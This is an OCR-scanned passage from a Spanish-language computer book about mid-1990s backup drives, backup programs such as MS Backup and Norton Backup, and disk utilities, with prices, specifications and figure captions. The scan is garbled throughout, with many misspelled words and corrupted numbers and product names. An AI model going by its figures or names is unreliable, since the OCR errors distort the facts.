ba, configura y compara automiticamente {as untdades para
lograr respaldos confiables Es un producto que [Omega

T
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Corp., ofrece en 325 dolares la externa y en 189 la interna, con

una garantia de 5 anos. ‘
10mega-Bernoulli Portable 44. Es un sistema de respal-
do de archivos tipo caja de Bernoulh para cumputadoras_l’\-m-
cintosh e IBM y compatibles. Enun gabinete muy pequeno se
presenta esta util unidad que funciona con baterias recarga-
bles y que tiene una capacidad para almacenamiento de da-
tos de 44 MB en discos tipo Bernoulh, los cuales se pueden
extraer de la unidad y transportarse o guardarse por separa-
do, su liempo de acceso al disco es de 22 nulisegundos. Es un
producto de [Omega Corp. ‘

Jumbo 250 de Colorado Memaory Systems [nc., es una uni-
dad interna de respaldo en cinta que se puede instalar en uno
de 10s lugares destinados a las unidades de disquetes, ya sea
de 3205 ¥ pulgadas. Utiliza los estandares QIC-40 0 QIC-
80 y permite almacenar hasta 250 MB en un pequeno cartu-
cho, comprimiendo los datos No respaldaria ]I]fOI’lTII!CEOI_\ o5
un pecado habiendo unidades como ésta, que cuesta unica-
mente 159 délares.

Jumbo Trakker 250. Unidad de respaldo encinta, de Colo-
rado Memory Systems Inc., con una capacidad de almacena-
miento de 230 MB en datos comprimidos, se conecta al
puerto paralelo de compultadoras I'C IBM o compatibles. Uti-
liza minicartuchos DT-250 y permite, a través del programa
version Lile de Colorado Backup, seleccionar entre no compre-
SEGH, COmpresion ma i o COmMpresion npfr’mr':_rrdu de acuerdo a
la veloaidad de transmisian de datos Se distnbuye por 350
délares.

LaserBank 600R, cs una unidad de disco dptico que ofre-
ce Micro Design Internalional Inc. Tiene una capacidad de al-
macenamiento con acceso aleatorio, de 600 MB y utiliza tarjela
de interfaz SCSI. Incluye un programa de control, que se ma-
neja por medio de menis o listas de opclones, muy facil de
operar. Requicre sistema operativo DOS30o0 Rustcnor, 128 kB
de memoria RAM y NetWare de Novell version 215 0 30.

MaxStream. Unidad de respaldo en cartuchos removibles
de cinta, desarrollada por Maynaid Electronics, del grupo Ar-
chive Corporation. Automilicamenic procesa copias de respaldo
de hasta 2.2 GB en computadoras IBM PC y sus compatibles,
o en redes, incluso sistemas Macintosh '

Microl’alk MPT 155. Sislema de respatdo en cinta para
Macintosh, diserado por MicroNet 'ﬂ’c)m_u!ugy hne., que s:.t dis-
tribuye por menos de 700 dolares y copta 5 MB de datos po::
minuto. Permite respaldar archivo por archive, mediante co
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pia de espejo (mirror backup) o archivos expandibles con’
Backup y Restore (Incremental Backups).

Microtech. Microtech International Tnc. presenta una serie
de sistemas de almacenamiento de informacion para Macin-
tosh, como unidades de discos fijos mternas o externas con
capacidades de 20, 40, 80, 100, 150, 320 y 650 MU, a precios
entre 520 v 3 430 délares. Tambicn ofrece sus modelos NT6U
de respaldo en cinta para 60 MB, y NT150 de 150 MB,

Microtech OR650. Es una urudad de disco éptico removible,
con capacidad de almacenanmiento de 650 MB y acceso alea-
tono, que presenta Microtech Interuabional Ine. Los cartuchos
de disco pueden ser’borrados o reescnitos, y cuestan unos 100.

PCS-2100. Sistema de cartucho de cinta de 8 mm, produce-
to de PCS Technologies, con capacidad de almacenamiento
de 2 100 megabytes. Incluye un programa de conltrol capaz
de acelerar ¢l proceso de respaldo hasta una velocidad de co-
piado de 102 15 MB por minuto. Realiza verificacion bloqgue
a bloque {block to block), y hace los respaldos automatica-
mente sin intervencion del operario en una ainta de § mm con
tecnologia y formato de exploracion hielicoidal

PLI. Unidades de disco éptico removibie con capacidades
de 650 MB o 1.3 GB, de Peripheral Land Incorperated Utilizan
los estindares ISO y ANSI, y se incluyen sin costo los progra-
mas de ulilidades: TurboCache, TurboBack, TurboOptintizer y
TurboSpool, para conlrol de respaldos y optimizacion de dis-
cos, ademas se incluye un médulo de segurnidad (AALE) y
DOS Transfer, que permite trasladar a Macintosh archivos en
formato de P)C.

QIC-122. Es un chip de compresion y descompresion de
datos desarroilado por Stac Electronics, que la asociacion
Quarter tnch Carbnidye Drive Standards ha adoptade como el
estdndar QIC-122 para la compresién de dalos.

Comprime archivos en una relacion promediode 2a 1, a
una velocidad de unos 750 kB por segundo, utilizando un al-
goritmo Ziv-Lempel maodificade que utiliza sélo 16 kB de
memeria RAM, de los cuales dmcamente 2 kB son para alma-
cenar la tabla de cadenas del algoritmo de compresion. Los
fabricantes de unidades de respaldo ya lo utilizan, optimi-
zando asi la capacidad de almacenamiento y la velocidad du
copiado de infurmacién de sus productos.

QT-125¢/QT-125i. Sistemas de respaldo en cinta de Tecmar
Inc. Su capacaidad de almacenanuento de datos es de 125 MB.
Opera aulomdticamente con opcion de copia archivo por ar-
chivo o copia de espejo (mirror backup}, a una veloaidad de
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5MB por minuto Seincluye el programa de control 5Y-TOS
y funciena vn computadoras IBM PC v sus compatibles, y en
Redes Novell, Token Ring v 3Com.

Rapid recover. Unidad de respaldo de informacién de
Emerald Systenis Corporatron que se ofrece con capacidades de
respaldo de 60, 150 v 300 MB, en formato de cinta de Y de
pulgada en cartucho

REQ-650. Unidad de almacenamiento de informacién en
disco optico boriable removible, desarrvollada por Piinacle
Mirero Tiene una capacidad de 650 MB y se entrega con un
programa controlador que permite reahizar la grabacion o
respaldo avtomaticamente. Requicte el sistema operativo PC
0 MS-1DOS version 3 2 o posterior, 128 kB de RAN v NetlVare
de Novell, version 215030

Retrieve 60/60E. Sun unidades de respaldo de la empresa
Alloy Compuier Praducts, con capacadad de almacenamiento
de 60 MB en cinta de W, Utiliza el codigo de correccion de
errores (Enor Correction Code, ECC), por Lo que es muy con-
fiable. Soporta sistema operative DOS vy redes Novell, v se
ofrece con una tarjeta controladora y software (Aloy's ResQy
ResQNET) que pernuiten respaldo autemadtico v seleccidn de
los archivos que se van a proleger.

SE120, SE258 y SE305. La linea de unidades de respaldo
de Summit Memory Systems e, consta de tres dispositivos
de almacenamiento magnélico en cinla que se pueden insta-
lar en el interior de la computadora como una unidad mas de
disquetes Utilizan inini cartuchos de cinla con las especifica-
ciones QIC, y tienen capacidades de 120, 250 y 305 MB res-
pectivamente, siempre y cuando se compaclen tos datos. Los
dos primeros modelos alcanzan una velocidad de respaldo
de 3.5 MB por minuto y eliltimo llega atos 10 MB por minu-
to. los precios son de 199, 279 y 359 dolares cada uno de ellos.

SCO XENIX/SCO UNIX. Son produclos de fmage Mana-
gement Techiologics Inc. En sus vanados modeles se presentan
capacidades de almacenamiento que van desde 400 MB hasta
6 GB. Se ofrece una garantia de 30 anos en los medios 6pticas
de almacenamiento, los cuales son removibles, Operan como
un disco fijo estindar, y reconocen todos los comandoes de los
sistemas operativos Unix y Xenix

T150, de Minor Technelogies Ine , Minnesota, es un sistema
de respaldo muy veloz y confiable que permite la creacion de
copias de seguridad archivo por archivo, copias de espejo o
respaldos incrementados con los comandos Backup y Restore
del DOS.
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Tape-Stor 250 Es una unidad esterna de ainta, que permi-
te respaldar varias computadoras, ya que se puede llevar fa-
cilmente de un lugar a otro Lo mds importante de esta
econdmica ~cuesta sélo 159 délares— unidad es su buen ren-
dimiento, su reducido tamano, ta garantia de dos afos que
ofrece Conner Peripherals Inc. y la velocidad de respaldo de 8
MB por minuto.

Type Master. Unidad de respaldo ¢n cinla, de CMS En-
fancements Ine, que rebaza las especaificaciones QIC, logran-
do una velocidad de transferencia de datos de 55 MB por
munuto. Tiene opciones como Ante Tape Select, para automali-
zacidn del respaldos, Off Track Read Compensation, para com-
pensar las fallas de alineacidn de la cabeza de lectura, y On
Board Drwgnostics, que permite venificar ¢l copiado sobre la
marcha. Es compatible con sistemas 1BM PC, Macintosh, Re-
des Novell, 3Com y Token Ring —utlizando Xenix o Unix-,

Weltee PHD. Es un disco fijo portdtil desarrellado por
Weltee Digital Inc; utiliza puerto serial, y puede trabajarse
como sistema de respaldo o disco duro adicional en cual-
quier computadora de escritorio o portanl, Incluye baterias
de niquetfeadimwe (NiCad) con capacidad de 2 horas de uso y
recarga en 8 horas. Accesa 2.2 MB de datos por segundo, y
tiene un peso menor a 4.5 kilogramos.

7.3 Programas de respaldo

Indudablemente, los programas de contrel para las unidades
de respaldo y los programas disefados especilicamenle para
realizar dichas operaciones utilizando los medios comunes
como disquetes y discos duros, tienen mucho que ver con la
calidad y velocidad cuando se realizan las copias de seguri-
dad o respaldo de los archivos de datos y programas.

Enseguida se presenta una lista de programas de utilidad
para control y manejo de archivos, que permiten optimizar y
claborar respaldos de datos, almacendndelos en disquetes,
discos duros, unidades o cartuchos de cinta, discos magneto-
épticos o disco remavibles, analizando algunos de ellos para
que pueda determinar cudl es el software mas apropiado
para sus necesidades, ya que, si usted genera unos cuantos
archivos de datus a la semana o al mes, quizds necesite dnica-
mente un programa manejador de archivos que le permita
copiar éstos a sus disquetes como respaldo.

ARCserve version 5.0. 5t usted cuenta con un sistema de
respaldo con cargador automdtico, una red NetWare con
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nuilliples servidores v estaciones de trabajo y una cantidad
considerable de datos que proteger, le conviene pensar en un
programa de aplicaciones chente/servidor como éste de Che-
yenne Softiare, que entre otras cosas ofrece interfaces para
Windows, DOS y O5/DOS. Su precio en ddlares varia de

- acuerdo al nimero de usuarios, por ¢jemplo; 5 usuarios por

395,6a20 por 1 195,21 a 50 1 495, vic, Requiere de un servi-
dor con 4 MD de memoria RAM con unaos ¢ MB de espacio
disponible en el disco y sistema operativo NetWare 3.11 o
posterior Las estaciones de trabajo deberdan tener al menos
640 kB de memaoria RAM y 3 MB de espacio en disco, ademiis
del sistema opcrativo MS DGS 3.1 o posterior.

Back-It. Programa de respaldo (backup) de archivos de
Gazelle Systems —que entre parénlesis y para nuestro gusto
estd realizando varios programas de utilidades que hemos
probado y son de muy buena calidad-, permite realizar cd-
pias de segundad muy confiables v a buena velocidad. Re-
quiere 256 kB de memoria RAM y sistema opuerativo PC o MS
DOS 2.0 o posterior y funciona a base de mentis, Tiene 3 mive-
les de venficacidn seleccionables, permite escoger los archi-
vos que se van a respaldar, o copia awtomaticamente salo los
archivos que se han modificado, y tiene la capacidad de co-
rregir los errores que se generan durante la copia.

BackMatic. Software para respaldo de informacién, de
Magic Softiweare, que pernule hacer copias de seguridad ltama-
das Shut Down, o automaticamente, mediante un programa
de respaldo automidtico en horarios preestablecidos. Su ope-
racion es muy veloz.

COREfast. Software desarrolladoe por Core hiternational
Ine., que permute respaldar informacién en hora y fecha pro-
gramadas, mediante un médulo de 4 kB residente en memo-
ria, reslablecer o recuperar los archivos borrados o ubicados
en sectores dafados, y comprimir los datos, ademas crea ar-
chivas de contro] que funcionan como directorios de la infor-
macién que se ha respaldado. Su presentacion a base de
menus o listas de opciones facilitan la operacién. Requicre
256 kB de memoria RAM y el sistema operativo PC o MS
DOS 2.0 o posterior.

Central Point Backup for DOS/for Windows. Central Point
Software Inc., desde sicmpre ha estado en el panorama de los
programas de utilidadues, y en este caso, como uno de los me-
jores programas de respaldo de datos Las dos versiones,
para DOS v para Windows tienen las mismas caracteristicas
y el mismo rendinuento y su precio de lista es de 129 délares.
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Si desea laversian complela de PC Toels, Te cuesta 178 dola-
res v e ofrece ¢l mismo programa de respaldo, mis todas las
utilerins conocrdas de PC fools

Figura 7.1

PC Tools 8 0 para
DOS ofrece esta
opcion de
respaldo que
PropoIciona un
medio muy
conflable para
salvaguardar la
informacloén en
computadoras
PC

Backup ‘safeguards hard ¢k £iles by copying them 1o tape or disk. .-

La presentacion grafica de las pantatlas de CP Backup son
muy wistosas y desde luego la version para Windows es una
de las mds espectaculares en cuanto a diseno, pero lo impor-
tante ahora es ¢l respaldo de informacian.

CP Backup ofrece todo lo que se puede esperar de un pro-
grama de respatde; Transfiere informacion hacia disquetes,
cinta con los estandares QIC-40 y QIC-80, Unidades SCSI v
en general a cualguier dispositivo de almacenamiento que
DOS reconozea con una letra, como una unidad del sistema.
Una de las opciones que no se debe dejar de mencionar on
este libro, es la de detectar virus a la ves que va haciendo Jas
copias de seguridad, aunque estd limitada a lTas “firmas” de
los virus que conuzea Central Point AntiViras

Las dos verstones =DOS v Windows— contienen una op-
adn que permite ver los directorios para selecaionar los ar-
chivos que se deben respaldar v ofrecen la posibihidad de
codificar (Encrypt) losjespaldos y prolegerios a traves de una
clave (PPasswaord) Trabajan en cualquier red que pueda ope-
rar con sislema operative ROS

Figura 7.2

La opclén de
verlficar la
presencla de
virus informaticos
al momento de
respeldar lo
Informaclén es
una uttlerio
adicfonal de CP
Backup.
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A virus has been detected in:
€ \UTILES\ALnEnm EXE
Alabama

(K g ltnax g l‘anccl_l

DS Backup Plus  'rograma de respaldo desarrellado paoy
Desien Softwvaie, requiete 236 kKB de RAN Y fa version 20 o
posterior del sistema operativo DOS Trabaja a base de me-
nus o lista de opeiones y ventanas, por lo gue no necesita ins-
tructiv o, aundgue lo eluve, Permite seleccionar las archivos
que se van a respaldar

FastBack Plus version 6.0, Uno de los mepomes v mas ra-
pidos programas para respaldo de archives. Producto de
Frfth Generation Systems Tne, que lo destiibuye por un precio
de lista de 149 dalares También se ofiece ¢l programa para
sistemas Macintosh, FastBack H, ¢ incluyen capacidad para la
compresion de archiv os. Reconocen dispositivos de almace-
namiento en cinta de lipo QIC-40 v QIC-80, v 5CSI, y ade-
mas de trabajar en ambiente de red, ofiece la posibilidad
de transterir informacion entre dos computadoras conecla-
das con un cable especial que vende Ta compania por unos
20 dolares

Las actuahzaciones a las nuevas s ersiones se consigei a
precios muy adecuadoes. Es de fiait instatacian v pernule la
compactacton de datos, el iespalido selectivo v la conreccnin dide
midtica de los errotes de coplado, asi como b creacion de ma-
cros y autoformaten sut pdidida de tiempa, Tambidén Fifth
Generalion presenta la version de Fastback Pl paa Windoies
con venlajps e usted apreaa i,
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Tiene capacidad de transferencia de informacion a una ve-
loaidad mayor que 5 MB por minute, respalda sélo los archi-
vos que hayan sido modificados y el mismo programa
calcula cudntos discos se requieren para hacer la copia de se-
guridad. Protege los respaldos mediante claves (Passwords)
y los codifica o encripta.

Intelligent Backup. De Sterling Softiare Co., es un progra-
ma muy recomendable para empresas, que pernute scleccionar
los archivos a respaldar y ofrece la posibilidad Je eluminar
archivos obsolutos para que no ocupen espacio acioso en el
disco. Requiere 320 kB de memoria RAM, sistema operativo
DOS 2.0 o posterior y disco duro para su instalacion. Es un
poce lento al realizar las copias de seguridad, pere se justifica
el tiempo invertido por su gran capacidad de andlisis al ex-
plorar el disco cuando se hace un respaldo completo del disco
duro, porque solo madifica en e} respaldo anterior los archivos
que hayan sufrido algiin cambio y los ordena por fechas,

Cuando se cjecuta o] programa para respaldar los datos
modificados, los almacena en un disco por separado, come
un apéndice de los discos de respaldos anteniores. Otras de
sus opciones son: editor de textos, compresidn de arclivos con
capacidad para seleccionar tres niveles de compactacion y
dos de verificacion de datos coprados,

Microsoft Backup. MS Backuyp se ofrece a los usuarios de
computadoras, ¢n el sistema operativo MS DOS, a partir de
la version 6.0. Desde la version 20 y hasta la 5.0, Microsoft
incluyd en el sistema operativo, los comandos Backup y Re-
store, con los cuales siempre fue [dcil respaldar archivos de
datos y programas

El problema que se generalizd a través de los afos, es el
que prevalece hasta hoy en todos los programas de compulo;
las versiones avanzan o cambian y los archuvos generados
con las nuevas no pueden ser reconocidos por las anteriares,
asi que st usted respaldaba la informacién en una computa-
dora con sistema operativo L0 y luego la queria restablecer
en la suya con sistema 3 3, nunca lo lograria.

Con la versi6n 6.22 de MS Backup, por ¢l momento, se pue-
den restablecer todas las copias de segundad que se hayan pge-
nerado con versiones anteriores de MS Backup. MS Backup se
presenta en versiones para 1DOS, MSBACKUP y para Windows,
MWBACKUP, que aunque permiten [as mismas vpciones, in-
dudablemente Ly de Windows es mds agradable a la vista.

Este programa de respaldo sélo trabaja con disquetes, o
con alguna unidad que el sistema operativo pueda reconocer

Figura 7.3
Pantalla de
configuraclén
de MS Backup
para DOS que
gpareca la
primera vez que
se gjeculo el
programa.

Figura 7.4
Pantalla
principal de MS
Backup para
Windows, donde
se muestran as
opciones de
respaldo.
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mediante una letra o a travds del comando PATH, como v«
unidad mas del sistema Como s progenitar, Norton Bac
MS Backup contiene la mayoria de las funciones de agu:
COMU compresion de archivos, selecaion de directorios v é-
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cluvos a respaldar, programacion de wespaldos v ootras, pero
obviamente, como version recortada, presenta algunas limi-
tantes que se notan cuando usted yaha utilizado algtin otro
programa mds rapido v eheiente

Figura 7.5
Pantalla
principal de MS
Backup
corrlendo sobre
amblente DOS.

-,

Hater v vopmn ddad di e e nowenhd doorud

Cada vez que se hace un respaldo con el programa MS Hiic-
kup, —al igual que con Norlon Backip=, s¢ crean archivos de
catalogo en los cuales se guarda informacion referente a lus
archivos que han sido copiados: estructura del directorio de
respaldo, nombre de los archivos y directorios que se res pal-
dan, mcluvendo atributos y tamafio, fecha de realizacion, total
de archivos respaldados, tamaio total de la copaa de seguridad,
asi como ¢f nombre del archive de respaldo que se empied.

El nombre que se asigna de forma automdtica al archivoe de
catdlogo, apareniemente se ve com plicado de entenduer, pues
parcce que los caracteres que para ello se utilizan son desig-
nados aleatoriamente, peroen reahdad tienenun significado
muy claro gue se analiza enseguida para el nombie

CID41020A TFUL

Las dos primeras letras que forman ¢l nombre indican Ia
primera y latilima unidad respaldadas Enelejemplo, Jas le-
iras serian Cy 1 CID —sten el respaldo salo seancluyen ai-

Figura 7.6

MS Backup
muestra los
archivos de
respaldo que se
van generando
y constliiuyen el
catldlogo de
coplas de
seguridad.
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chivos v directorios de una sola unidad, Ia letra de esa uni-
dad se colocard dos veces—. El primer cardcter nuimdrico que
aparece corresponde al dlumo digito del ano; ebd en este caso
representa a 1994 Los sipuientes cuatro niimeros indican el
mes y dia, respectivamente, o sea 20 de octubre, v por Gitimo
la letra Aindica que se trata del primer respaldo hecho enesa
fecha para esas unidades, si fuera el segundo la letra seria B
y asi sucesivamente hasla la Z.

La extension del archive indica el tipo de copia de segur-
dad que se mzo: FUL (Completa), INC (Ineremental) o DIF
{Diferencial). Enel ejumplo se trata de un respaldo completo.

Las principales ventajas de atilizar AIS Backup son: que se
puede comprinur la informacién respaldada, se pueden venfi-
car los datos comparando lo copiado con ¢l vriginal, se pueden
proteger las copias de segurndad asignindoles contrasenas
{Passwords), pieviene cuando se introduce un disquete con
datos, y puede corregir posibles cirores en los disquetes uti-
lizados para las copias de seguridad.

Las copias de seguridad que se hacen con ALS Backig se
pueden restaurar en diversos lugates: en diferentes directo-
rios, en diferentes unidades o en las ubicaciones originales.
La informuacion restaturada tendrd [a misma estructura que la
original, aunque usted pucde cambuat ¢l nrombre a cual-
quicra de los duectonios,
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Figura 7.7
Pantalla que
previeng
cuando se
nfroduce un
disquete que
contleneg dalos,
para realizar el
respaido.

Figura 7.8
Alhacer la
restouraclén de
los datos
respaldados se
cuenta con tres
opciones para
seleccionar la
posiclon tinal,
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Muountain TapeWare version 1.1, Programa de respaldo
de AMowntan Neleor k Solubons Lie,, que permiie respaldarim-
formacidn en redes con sistema operativo de Novell Sus
prestaciones son excelentes voen cambio los requermuentes

Figura 7.9

Pantalla
principal de
Norton Backup
versibn 2.2,
donde se
muestran las
avanzadas
opclones de
respaldo con
que cuenta.
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.
de equipo son modicos, el servidor necesita 512 kKB de mena-
ria RAM y 384 adicionales para cada wudad de cinta, Netiva-
re 3.11 o posterior, v Unicamente 2 MB de espacio disponible
en el disco duroe El precio de hsta para 5 usuanos es de 299

dolares, y hasta 250 terminales cuesta 1699 dalares.

Network Archivist versidn 3.0. Automdl:camente, este
programa de Pahindrome Corp | crea los respaldos de los da-
tos en 1edes, basado en el algoritmo de la Torie de Hanoi que
se wlilizo primero en minicomputaderas y en mamframe, lo
que propuiciona al usuario una gran confianza en la transnu -
sion de datos y resguardo de mformacion. El precio del mo-
dulo principal es de 1695 délares y sus requerinientos de
equipo son realmente aceptables, 2MB de memorna RAM
paraclservidor y 512 en las estaciones, NetWare 2 v o poste-
rivr y DOS 2.+ o supenor para las terminales

Norton Backup versidn 2.2 Norton Backup esti conside-
rado como uno de los mejores programas de respaldo para
usuarios estindar, v legendariamente el que marea las ten-
dencias y novedades en cuanto a copras de seguridad, no en
vana Microsoft tomda esta leenologia para ofrecetla o los mi-
Hones de consumidores del sistema operativo AMS 1DOS.

=) Administradur de programes - [Narton l!adupIS:hcduru] =1z
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~ ]
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Hiage oy zj | . _
Duntel BA KUP '_

c e

DMA O Veiuon 2 2 I
Catalug © Copyrght Quest De velnpment { ainosalion 1391

Published by Symanled | viporation
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Con un precio de hista de 149 ddlares, este provrama de
. ! pras :
Symanlec Corp , se presenta en dos modalidades para DOS y
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Figura 7.10

Usted puede
selecclonar las
unldades que
desea respaldar
y elmedlo de
destino de la
copia de
segurldod.

Figura 7.11

Al selecclonar
una unldad,
deberd decldir
qué directorlos y
archlvos se van
aenviarala
copla de
respaldo.
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para Windows. Como ¢l programa utiliza direct memory ac-
cess (DMA), es un 150% mds rapido que MS Backup y ademds
reconoce unidades de respaldo en cinta con los estandares
QIC-40 y QIC-80, y unidades que utilicen controladores de

Adinimistiader de programas - [Nemon BackupfSchedulei]

=] Archiva  Opciones  Yenlana Ayuda
Norian Bactup - WORDPROE.SET

Prenel Hackups

ASSIST SET - 7 Dap Cycle AKFror Drve C

DBASE SLT - dllase QWA Fde) on Duve L

FULL SET Al Fdes on Dave C

SPADSHT ST -Lolus_Facel Fles an Drwe C
URDPRQ d

Backup o

1 calalug isde (4 B64 byle

106 licy {1 430 404 bytai] yebecied for backup

will be pdded

11 44 Wb T estanaled diskelter needed
O min 79 sec £rtumatad beckup fima

Figura 7.12
Con la opcion
Configure se
selecclona el
nivel del
progroma y se
inlcian las
pruebas del
sistema para
determinar un
amblente
propicio paro
lograr mejores
copias de
seguridad

Figura 7.13

Lo prueba de
compalibildag
de respaldo’
verlflica que
exlsta
congruencia
entre el disco
duro y las
unidades de
disquetes para
evitar la pérdida
de datos ¢!
moemento de la
lransfetencia.
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Figura 7.14

En esta pantailla
de Norfon
Desktop se
mueslia el
caldlogo
maestro que
cieq Norton
Backup.
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blecer nformacian desde disquetes o cintas, aungue una de
cllas s hava danado; usted recuperard tos datos de los de-
mds respaldos, cosa que la mayoria de los programas no ha-
cen Generalmente si se dana uno de los disquetes se prerde
toda la copia de seguridad

El programa Norton Desktop lambién ofrece la utilidad de
respaldo en el mismo paquete, cosa que Io hace muy intere-
sante, porque por el mismo precio usted obtiene manejacdor
de discos, herramientas basicas y avanzadas de escritorio y lo
posibilidad de realizar sus copias de iespaldo sin fener quo
COMPrar un NUEVo programa

PC-Fuliback +. Programa para respaldo de discos, desa-
rrollado por WESTLAKE Data Corp. Requieie 256 kB de me-
moria RAM, unidad de disco flexible v disco fijo o duro.
Realiza los respaldoes con rapidez, y ademas permite restau-
rar v modificar la informacion

Retrospect. Software de Dantz Development Corp., que
mantiene envarden los archivos y los respaldos, v tene capa-
cidad para respaldar datos de redes en unidades dphicas, en
cinta o en discos duros de gran capacidad. Ofrece opciones
de respatdo automilico programado en horas v fechas deler -
minadas, compiesion de archivas y proteccion por medio de
claves o criptogramas.
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SilverLining. Mograma desarrollado por LaCre para sis-
temas Macintosh, con un precio de 69 U5 délares Requiere
512 kB y sus funciones principales son formateo, instalacién
y parhicionamiento del disco duro con protecadn a cada par-
ticion por medio de claves o contrasenas ( passwords), optl-
mizacion de discos y desfragmentacion de archivos,

7.4 Programas de utilerias

Estos programas, aunqgue no son propramente para respaldo de
informacion, la incluyen como una opeion o permiten copiar
archivos y directorios creando propiamente copias de seguri-
dad que pueden ser itiles para quicn no necesita de progra-
mas y vquipos especiiles, porque su produccidn de archivos
es muy reducida. Otros permiten optimizar ¢ uso de los dis-
cos y de os sistemas derespabdo, monitoreandoe la memoria
o revisando los discos para desfragmentar los archivos. Los
sigulentes son los mds conocidos:

Baker’s Dozen, version 1 0. Button Ware presenta este
programa para recuperacion de archivos borrados con pre-
sentaciin en la pantalla de los sectores que se estan integran-
do al arclivo recuperado,

Ademas incluye vtras caracierisitcas muy especiales. Una
de las mas uliles perinite la modificacion y restauracion de la
tabla de asignacian de archivos (File Allocation Table, FAT),
lo cual hace posible seguin tas cadenas de las guias en esa ta-
bla, hacia adelante y hacia atrids.

Incluye 1a funcion de busqueda de cadenas de texto en for-
mato ASCIL, una pequena hoja de cdlculo con funciones tri-
gonométricas y fmancicras avanzadas, calendario y varios
modulos residentes en memaoria para captura de pantallas,
impresion horizontal de las hojas de cdlenlo y direcciona-
micnto de nmmpresiones a archavos.

CanOpener. Esun programa desaniollado por Abbott Sys-
tems Inc., muy ehiciente para recuperar archivos daiadoes o cuan-
do s¢ busca uno especibico entre muchos archiveos. Pernute abnr
o mirar los archivos que presentan alpan problema cuando
sc intenta leerlos del disco y verlos en a pantalla, lo que pue-
de deberse a defectos en Ly superficie del disco o a erares en
la tabla de asignacion de archivos, Mucestea los archivos en
sus formatos origirales, sean de texto, mdpenes o sanidos, o
que permute localizarlos, por su contenida, muy ficlmente,

Check-I1. Sistema du diagnéstico profesionalt para equi-
pos de computo, desarrollado por TouchStone Software Cotpo-
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rajion, que detecla con gran precisidn cualquier problema en
la computadora. Este paquete desarrollado para equipos
IBM y compatibles permile la verificacién del sistema com-
plete, desde by tarjeta madre (mother board}, la memoria y
los chips de ROM, hasta los equipos periféricos y los disposi-
tivos de entrada o salida (disquetes, discos duros, tarjeta de
video y momnitor, ratdn, impresoras, ete. Presenta una serie de
nformes sobre el estado del sistema completo, y requiere 256 kB
de memoria RAM

CUBIT. Programa para compactacidn de archivos desa-
rrollado por SoftLoyic Selulions, que permite reducr el espa-
c1o para almacenamiento deinformacidn hasta en un 50%. Es
capaz de compaciar archivos de procesadores de textos en
sus formatos originales o como cadenas de caracteres ASCII,
archivos de datos de hojas de cilculo, codigos de programas
y archivos de grificos ¢ imdgenes.

DiskLock. I'rograma para proleccién de archivos de Fifth
Gencration Systems, con precio de hista de 189 dolares. Protege
archivos de datos confidenciales o discos duros completos,
contra las miradas de usuarios indiseretos. Sélo deja entrar al
sistema a los usuanos autorizados, Permile crear niveles de
proteccion v propuorciona una clave maestra para ¢l acceso a
todos los archivos.

Disk Optimizer version 4.0 Paquete de programas de 5oft-
Lagic Soluttons, que wequeren el sistema operative 2.1 0 pos-
lerior; ahora con soporle para ta version 4 (Hdel DOS. Cuando
se utilizan constantemente los discos para grabar y borrar in-
formacion, cllo hace que los archivos se fragmenten haciendo
mas lento el acceso a los datos y, a veces, causa ¢l desalinea-
miento de las cabezas de lectura/grabacign, debido a la so-
brecarga de trabajo. Esto puede ocasionar daios fisicos en la
superlicie del disco y consecuentemente a la informacion que
se encuentre alojada en tos sectores que han sido danados,

Disk Optinuzer pernute desfragmentar rapidamente los ar-
chivos de datos, verificando la integridad de fa nueva copia,
y solamente en ese momento procede a barrar el archivo
fragmentado. Otras de sus funciones principales son: Unlor-
mat, que permite restablecer a su estado original el disco que ha
sido formateado, sin detenoro de fas datos, Trackbaver, para
protecaion de las pistas det disco, el cual evita que la cabeza
gire sobre la misma pista per mucho tiempao, ele. Como pro-
mocién, se ofrece con el antivirus Data Guardian incluido.

Fastlrax. Esun programa desarroilado por Bridyeway Pu-
blishmy Coe. Requiere 256 kB de memoria RAM y el sistema
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.
operativo DOS 2 0 o posterior Es una utihdad para compac-
tacion y desfragmentacion de archivos o discos duros com-
pletos, que incluye una serie de caracteristicas que la hacen
diferente y de mejor calidad que sus competidoras, entre
ellas. algoritmo de compactacion de informacion a alta velo-
cidad, v eriftcacion de dalos en tres niveles, creacion de expe-
dientes de procedimiento, v erdenamiento de los archivos en
las mismas pistas y seciores —cuando sea posible-

FalCat. P’rograma para administracién de archivos y dis-
cos desarrollado por SoftLegie, may 1ihl para llevar un con-
trol de directorios y subdirectonios, los cuales se catalogan en un
listado con capacidad para treinta V CINCo cartacteres que per-
milen anotar nombre y descripeion  Incluye opciones como
[a recuperacion de archivos borrados o dd]l?ldﬂb proteccidn
de archivos por medio de claves (passwords), optimizacion
de los discos desfragmentando los archuvos, compresion de
mformacion, v olras,

Lotus Magellan version 2.0 Lofus Development Corp pre-
senta este programa de utihdades, que permile buscar, ver v
cditar arcluvos en cédigo ASCIL o en formatos como Quattro,
Paradoy, Excel, ete, recuperar informacion borrada v com-
prinur arcluvos ZI1 los cuales puede buascar, exhibir oamlpn—
mir aun ya compactados con ZIP Sumddulo Verify exploray
compara los indicadores caracteristicos de los archivos, per-
mitiendo delectar fa presencia de algan virus

Mace Utilities. Programa de utihdades de Fifili Genera-
Flon Systenis, Requicre 256 kB de RAM v el sistema operativo
PC/MS-DOS 2.0 o posterior. Incluye 25 madulos de utihda-
des que sirven para optimizar y mantener en buenas condi-
ciones el disco duro, y para recuperar archivos borrados o
danados; crea una copia de los archivos que se estin restau-
rando en otro disco, por lo que s1 se tienen problemas con el
archivo recuperadoe se puede partir de ia copia pata tratar de
hacer la restauracién en forma manual

Esta nueva version de Mace Utihities ha incorporado mejo-
ras como la restauracion de la tabla de asignacién de archi-
vos, recuperacion automidtica de los archivos borrados,
proteccidan de informacion por medio de claves de acceso v
una rutina de pmlucci(m conlra virus (hra de sus nues as wti-
lidades pernute reformatear disquetes o discos dutos sin da-
nar la informacidén contenida en ellos

MUSLE.EXE, es un editor de sectores que muestra el conteru-
do de éstas en formatos ASCIL y hexadecimal Tambidén iene la
opcidn para oplinuzar los discos desfragmentando los archivos
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MacTools Deluxe Es un programa de Cenfral Pomt Soft-
ware para los sistemas Macintosh, que permute la recupera-
cion de archivos borrados con la pusibilidad de visuahzar ol
procedimiento. Viene ademas con proteccién de discos, recu-
peracion de informacion en discos duros, aun cuando hayan
sufride algtin daio, respaldo de discos, seleccion de multi-
ples archivos en pantalla, compresion o compactaaion de ar-
chivus, particiones y optimizacién de discos duros, mapeoen
color, proteccion de archivos por medio de claves, copas ra-
pidas de discos flexibles y manejo de arcluves. Tiene otras
funciones, entre ellas rutinas de escritorio.

I'C Tools Deluxe versidgn 8.0, Este producto, que presenta
